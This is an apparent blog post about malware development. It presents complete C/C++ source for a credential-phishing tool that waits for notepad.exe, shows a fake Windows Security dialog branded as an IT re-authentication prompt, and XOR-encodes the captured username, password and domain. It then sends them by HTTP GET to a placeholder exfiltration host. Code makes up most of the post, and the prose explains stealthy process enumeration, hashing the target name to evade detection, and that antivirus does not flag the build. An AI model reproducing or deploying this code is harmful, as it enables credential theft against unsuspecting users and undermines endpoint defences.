Deceptive Windows Security Dialog for Harvesting Credentials
2026-06-08If you aren't writing malware to get an FUD, you're doing it wrong - 0xf00
Since the the beginning of the year I’ve focused a great amount of time on malware development. While I already have some knowledge and experience with coding from my Uni days, I understood that I was missing some good parts of malware development skills and evasion techniques.
With that being said, I wanted to create a different kind of malware, instead of implementing the usual injection techniques like process hollowing, APC injection, etc. I thought of creating something that mixes a social engineering aspect. After doing some research, I realized that the technique I was planning on implementing was already in the arsenal of Iranian-backed APT group MuddyWater. MuddyWater has been utilizing ATT&CK MITRE T1056.002 with their custom C/C++ backdoor MuddyViper.

Hence I thought it’s a nice little project to play around with.
Overview
So the goal of this project is to spawn a fake/deceptive windows security dialog that will prompt the user to put their credentials. The context I have in mind is that, in order to use a specific program, the user must authenticate themselves, as the company’s IT Security team’s requirement. The credentials submitted in the dialog will be exfiltrated via HTTP in a remote server.
In this project, I applied some obfuscation techniques to practice my maldev skills as well. You will probably recognize some code snippets, if you’ve completed the MalDevAcademy Malware Development Course. That is because I’ve also completed the course revently and I used some of the samples for quicker development.
Code Flow
Start
|
|
v
.-------------.
/ \
/ Is TARGET \
|->\ PROCESS /
| \ running? /
| '-------------'
| ^ |
|__NO___| | YES
v
+----------------------+
| Spawn Windows |
| Security Dialog |
+----------------------+
|
|
+----------------------+
| XOR-encrypted |
| credentials + domain |
+----------------------+
|
|
v
+----------------------+
| HTTP Exfiltrate |
+----------------------+
The Code
Struct.h
#include <windows.h>
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemExtendServiceTableInformation,
SystemPrioritySeperation,
SystemVerifierAddDriverInformation,
SystemVerifierRemoveDriverInformation,
SystemProcessorIdleInformation,
SystemLegacyDriverInformation,
SystemCurrentTimeZoneInformation,
SystemLookasideInformation,
SystemTimeSlipNotification,
SystemSessionCreate,
SystemSessionDetach,
SystemSessionInformation,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemVerifierThunkExtend,
SystemSessionProcessInformation,
SystemLoadGdiDriverInSystemSpace,
SystemNumaProcessorMap,
SystemPrefetcherInformation,
SystemExtendedProcessInformation,
SystemRecommendedSharedDataAlignment,
SystemComPlusPackage,
SystemNumaAvailableMemory,
SystemProcessorPowerInformation,
SystemEmulationBasicInformation,
SystemEmulationProcessorInformation,
SystemExtendedHandleInformation,
SystemLostDelayedWriteInformation,
SystemBigPoolInformation,
SystemSessionPoolTagInformation,
SystemSessionMappedViewInformation,
SystemHotpatchInformation,
SystemObjectSecurityMode,
SystemWatchdogTimerHandler,
SystemWatchdogTimerInformation,
SystemLogicalProcessorInformation,
SystemWow64SharedInformationObsolete,
SystemRegisterFirmwareTableInformationHandler,
SystemFirmwareTableInformation,
SystemModuleInformationEx,
SystemVerifierTriageInformation,
SystemSuperfetchInformation,
SystemMemoryListInformation,
SystemFileCacheInformationEx,
SystemThreadPriorityClientIdInformation,
SystemProcessorIdleCycleTimeInformation,
SystemVerifierCancellationInformation,
SystemProcessorPowerInformationEx,
SystemRefTraceInformation,
SystemSpecialPoolInformation,
SystemProcessIdInformation,
SystemErrorPortInformation,
SystemBootEnvironmentInformation,
SystemHypervisorInformation,
SystemVerifierInformationEx,
SystemTimeZoneInformation,
SystemImageFileExecutionOptionsInformation,
SystemCoverageInformation,
SystemPrefetchPatchInformation,
SystemVerifierFaultsInformation,
SystemSystemPartitionInformation,
SystemSystemDiskInformation,
SystemProcessorPerformanceDistribution,
SystemNumaProximityNodeInformation,
SystemDynamicTimeZoneInformation,
SystemCodeIntegrityInformation,
SystemProcessorMicrocodeUpdateInformation,
SystemProcessorBrandString,
SystemVirtualAddressInformation,
SystemLogicalProcessorAndGroupInformation,
SystemProcessorCycleTimeInformation,
SystemStoreInformation,
SystemRegistryAppendString,
SystemAitSamplingValue,
SystemVhdBootInformation,
SystemCpuQuotaInformation,
SystemNativeBasicInformation,
SystemErrorPortTimeouts,
SystemLowPriorityIoInformation,
SystemTpmBootEntropyInformation,
SystemVerifierCountersInformation,
SystemPagedPoolInformationEx,
SystemSystemPtesInformationEx,
SystemNodeDistanceInformation,
SystemAcpiAuditInformation,
SystemBasicPerformanceInformation,
SystemQueryPerformanceCounterInformation,
SystemSessionBigPoolInformation,
SystemBootGraphicsInformation,
SystemScrubPhysicalMemoryInformation,
SystemBadPageInformation,
SystemProcessorProfileControlArea,
SystemCombinePhysicalMemoryInformation,
SystemEntropyInterruptTimingInformation,
SystemConsoleInformation,
SystemPlatformBinaryInformation,
SystemPolicyInformation,
SystemHypervisorProcessorCountInformation,
SystemDeviceDataInformation,
SystemDeviceDataEnumerationInformation,
SystemMemoryTopologyInformation,
SystemMemoryChannelInformation,
SystemBootLogoInformation,
SystemProcessorPerformanceInformationEx,
SystemCriticalProcessErrorLogInformation,
SystemSecureBootPolicyInformation,
SystemPageFileInformationEx,
SystemSecureBootInformation,
SystemEntropyInterruptTimingRawInformation,
SystemPortableWorkspaceEfiLauncherInformation,
SystemFullProcessInformation,
SystemKernelDebuggerInformationEx,
SystemBootMetadataInformation,
SystemSoftRebootInformation,
SystemElamCertificateInformation,
SystemOfflineDumpConfigInformation,
SystemProcessorFeaturesInformation,
SystemRegistryReconciliationInformation,
SystemEdidInformation,
SystemManufacturingInformation,
SystemEnergyEstimationConfigInformation,
SystemHypervisorDetailInformation,
SystemProcessorCycleStatsInformation,
SystemVmGenerationCountInformation,
SystemTrustedPlatformModuleInformation,
SystemKernelDebuggerFlags,
SystemCodeIntegrityPolicyInformation,
SystemIsolatedUserModeInformation,
SystemHardwareSecurityTestInterfaceResultsInformation,
SystemSingleModuleInformation,
SystemAllowedCpuSetsInformation,
SystemVsmProtectionInformation,
SystemInterruptCpuSetsInformation,
SystemSecureBootPolicyFullInformation,
SystemCodeIntegrityPolicyFullInformation,
SystemAffinitizedInterruptProcessorInformation,
SystemRootSiloInformation,
SystemCpuSetInformation,
SystemCpuSetTagInformation,
SystemWin32WerStartCallout,
SystemSecureKernelProfileInformation,
SystemCodeIntegrityPlatformManifestInformation,
SystemInterruptSteeringInformation,
SystemSupportedProcessorArchitectures,
SystemMemoryUsageInformation,
SystemCodeIntegrityCertificateInformation,
SystemPhysicalMemoryInformation,
SystemControlFlowTransition,
SystemKernelDebuggingAllowed,
SystemActivityModerationExeState,
SystemActivityModerationUserSettings,
SystemCodeIntegrityPoliciesFullInformation,
SystemCodeIntegrityUnlockInformation,
SystemIntegrityQuotaInformation,
SystemFlushInformation,
SystemProcessorIdleMaskInformation,
SystemSecureDumpEncryptionInformation,
SystemWriteConstraintInformation,
SystemKernelVaShadowInformation,
SystemHypervisorSharedPageInformation,
SystemFirmwareBootPerformanceInformation,
SystemCodeIntegrityVerificationInformation,
SystemFirmwarePartitionInformation,
SystemSpeculationControlInformation,
SystemDmaGuardPolicyInformation,
SystemEnclaveLaunchControlInformation,
SystemWorkloadAllowedCpuSetsInformation,
SystemCodeIntegrityUnlockModeInformation,
SystemLeapSecondInformation,
SystemFlags2Information,
SystemSecurityModelInformation,
SystemCodeIntegritySyntheticCacheInformation,
SystemFeatureConfigurationInformation,
SystemFeatureConfigurationSectionInformation,
SystemFeatureUsageSubscriptionInformation,
SystemSecureSpeculationControlInformation,
SystemSpacesBootInformation,
SystemFwRamdiskInformation,
SystemWheaIpmiHardwareInformation,
SystemDifSetRuleClassInformation,
SystemDifClearRuleClassInformation,
SystemDifApplyPluginVerificationOnDriver,
SystemDifRemovePluginVerificationOnDriver,
SystemShadowStackInformation,
SystemBuildVersionInformation,
SystemPoolLimitInformation,
SystemCodeIntegrityAddDynamicStore,
SystemCodeIntegrityClearDynamicStores,
SystemDifPoolTrackingInformation,
SystemPoolZeroingInformation,
SystemDpcWatchdogInformation,
SystemDpcWatchdogInformation2,
SystemSupportedProcessorArchitectures2,
SystemSingleProcessorRelationshipInformation,
SystemXfgCheckFailureInformation,
SystemIommuStateInformation,
SystemHypervisorMinrootInformation,
SystemHypervisorBootPagesInformation,
SystemPointerAuthInformation,
SystemSecureKernelDebuggerInformation,
SystemOriginalImageFeatureInformation,
MaxSystemInfoClass
} SYSTEM_INFORMATION_CLASS;
typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION
{
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR PageDirectoryBase;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
#endif
Source.cpp
#pragma comment(lib, "Winhttp.lib")
#pragma comment(lib, "credui.lib")
#define UNICODE
#include <Windows.h>
#include <wincred.h>
#include <iostream>
#include <winhttp.h>
#include <tchar.h>
#include <string>
#include <stdio.h>
#include "struct.h"
#define TARGET_PROCESS 0xADB812E2 // notepad.exe
#define INITIAL_SEED 7 // recommended to be 0 < INITIAL_SEED < 10
// XOR encryption
void xor_encrypt(wchar_t* buffer, size_t length, wchar_t key)
{
for (size_t i = 0; i < length; ++i)
{
buffer[i] ^= key;
}
}
// Generate JenkinsOneAtATime32Bit hashes from wide-character input string
UINT32 HashStringJenkinsOneAtATime32BitW(_In_ PWCHAR String)
{
SIZE_T Index = 0;
UINT32 Hash = 0;
SIZE_T Length = lstrlenW(String);
while (Index != Length)
{
Hash += String[Index++];
Hash += Hash << INITIAL_SEED;
Hash ^= Hash >> 6;
}
Hash += Hash << 3;
Hash ^= Hash >> 11;
Hash += Hash << 15;
return Hash;
}
// NtQuerySystemInformation type definition
typedef NTSTATUS(NTAPI* fnNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
// Process enumeration using NtQuerySystemInformation
BOOL GetRemoteProcessHandle(IN DWORD dwProcessNameHash, OUT DWORD* pdwPid, OUT HANDLE* phProcess) {
fnNtQuerySystemInformation pNtQuerySystemInformation = NULL;
ULONG uReturnLen1 = NULL,
uReturnLen2 = NULL;
PSYSTEM_PROCESS_INFORMATION SystemProcInfo = NULL;
PVOID pValueToFree = NULL;
NTSTATUS STATUS = NULL;
// getting NtQuerySystemInformation address
pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation == NULL) {
printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());
return FALSE;
}
// First NtQuerySystemInformation call
// This will fail with STATUS_INFO_LENGTH_MISMATCH
// But it will provide information about how much memory to allocate (uReturnLen1)
pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);
// allocating enough buffer for the returned array of `SYSTEM_PROCESS_INFORMATION` struct
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
if (SystemProcInfo == NULL) {
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
return FALSE;
}
// since we will modify 'SystemProcInfo', we will save its intial value before the while loop to free it later
pValueToFree = SystemProcInfo;
// Second NtQuerySystemInformation call
// Calling NtQuerySystemInformation with the correct arguments, the output will be saved to 'SystemProcInfo'
STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
if (STATUS != 0x0) {
printf("[!] NtQuerySystemInformation Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
while (TRUE) {
// wprintf(L"[i] Process \"%s\" - Of Pid : %d \n", SystemProcInfo->ImageName.Buffer, SystemProcInfo->UniqueProcessId);
// Check the process's name size
// Comparing the enumerated process name to the intended target process
if (SystemProcInfo->ImageName.Length && (HashStringJenkinsOneAtATime32BitW(SystemProcInfo->ImageName.Buffer) == dwProcessNameHash)) {
// openning a handle to the target process and saving it, then breaking
*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
break;
}
// if NextEntryOffset is 0, we reached the end of the array
if (!SystemProcInfo->NextEntryOffset)
break;
// moving to the next element in the array
SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
}
// Free the initial address
HeapFree(GetProcessHeap(), 0, pValueToFree);
// Check if we successfully got the target process handle
if (*pdwPid == NULL || *phProcess == NULL)
return FALSE;
else
return TRUE;
}
BOOL exfiltrateGettHTTP(LPWSTR endpoint) {
LPCWSTR server = L"EXFIL-HOST";
LPCWSTR resource = endpoint;
HINTERNET hSession = WinHttpOpen(
L"Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.166 Safari/537.36",
WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS,
0
);
if (!hSession) {
std::wcout << "No HTTP session handle acquired!" << std::endl;
return false;
}
// Set INTERNET_DEFAULT_HTTPS_PORT flag for port 443
HINTERNET hConnection = WinHttpConnect(
hSession,
server,
9999,
0
);
if (!hConnection) {
std::wcout << "No HTTP connection handle acquired!" << std::endl;
return false;
}
// Set WINHTTP_FLAG_SECURE flag for HTTPS
HINTERNET hRequest = WinHttpOpenRequest(
hConnection,
NULL,
resource,
NULL,
WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
0
);
if (!hConnection) {
std::wcout << "No HTTP request handle acquired!" << std::endl;
return false;
}
// Send the GET request
BOOL request = WinHttpSendRequest(
hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS,
0,
WINHTTP_NO_REQUEST_DATA,
0,
0,
0
);
if (!request) {
std::wcout << "No HTTP request sent!" << std::endl;
return false;
}
return true;
}
BOOL ShowCredentialDialog() {
DWORD authPackage = 0;
LPVOID outCredBuffer = nullptr;
ULONG outCredSize = 0;
CREDUI_INFO info = { 0 };
info.cbSize = sizeof(info);
info.hwndParent = NULL;
info.pszCaptionText = L"EvilCorp IT Authentication";
info.pszMessageText = L"Please re-authenticate to use Notepad.";
// Prompt the user to input the credentials
DWORD result = CredUIPromptForWindowsCredentialsW(
&info,
0,
&authPackage,
NULL,
0,
&outCredBuffer,
&outCredSize,
NULL,
CREDUIWIN_GENERIC
);
if (result != ERROR_SUCCESS)
{
std::wcout << L"User cancelled or error.\n";
return false;
}
wchar_t username[256] = { 0 };
wchar_t password[256] = { 0 };
wchar_t domain[256] = { 0 };
DWORD usernameLen = 256, passwordLen = 256, domainLen = 256;
// Unpack acquired credentials to variables
BOOL unpacked = CredUnPackAuthenticationBufferW(
0,
outCredBuffer,
outCredSize,
username,
&usernameLen,
domain,
&domainLen,
password,
&passwordLen
);
if (!unpacked)
{
std::wcout << L"Failed to unpack credentials.\n";
CoTaskMemFree(outCredBuffer);
return false;
}
// Print to console
std::wcout << L"Username: " << username << L"\n";
std::wcout << L"Domain: " << domain << L"\n";
std::wcout << L"Password: " << password << L"\n";
// Build the endpoint for the HTTP exfiltration
wchar_t buffer[256] = L"/creds?u=";
wcscat_s(buffer, 256, username);
wcscat_s(buffer, 256, L"&p=");
wcscat_s(buffer, 256, password);
wcscat_s(buffer, 256, L"&d=");
wcscat_s(buffer, 256, domain);
wchar_t key = 0xF1;
size_t len = wcslen(buffer);
// Encrypt and exfiltrate endpoint
xor_encrypt(buffer, len, key);
exfiltrateGettHTTP(buffer);
// Clean sensitive buffer
SecureZeroMemory(outCredBuffer, outCredSize);
CoTaskMemFree(outCredBuffer);
return true;
}
int main() {
DWORD Pid = NULL;
HANDLE hProcess = NULL;
BOOL flag = true;
//ShowWindow(GetConsoleWindow(), SW_HIDE); //<- Uncomment for release
while (flag) {
if (GetRemoteProcessHandle(TARGET_PROCESS, &Pid, &hProcess)) {
if (ShowCredentialDialog()) {
flag = false;
}
}
}
return 0;
}
Comments
Process Eumeration
Starting with each block depicted in the flow above, the first step is to create a process enumeration function. This can be done in multiple ways:
- CreateToolHelp32Snapshot
- EnumProcesses
- NtQuerySystemInformation
Each way has its pros and cons. But since we want to be stealthy, the obvious choice to the pick NtQuerySystemInformation. It is a syscall, which flies under the radar of common API call detection such as CreateToolHelp32Snapshot. More here.
Windows Security Dialog
Using wincred.h's API functions, we can spawn the dialog and unpack the creds submitted with:
- CredUIPromptForWindowsCredentialsW to display a Windows Security Dialog:
- CredUnPackAuthenticationBufferW to unpack the credentials
AV detection
The program, as it is, does not get flagged by any AVs. The interesting part, is that if the TARGET_PROCESS is not hashed and is set to ms-edge.exe, Microsoft Defender does flag the executable.
BOF Implementation
My initial goal was to write this as a BOF. This would remove some unnecessary parts, such as:
- Process Enumeration: since you can just first enumerate yourself and then chose the process you want to kill and spawn the dialog
- HTTP Exfiltration: a simple console output is enough to grab the credentials
The malware at this point would be to just spawn the Windows Security Dialog and collect the credentials. This is simple enough, which is also already covered in the following project:
Screenshots


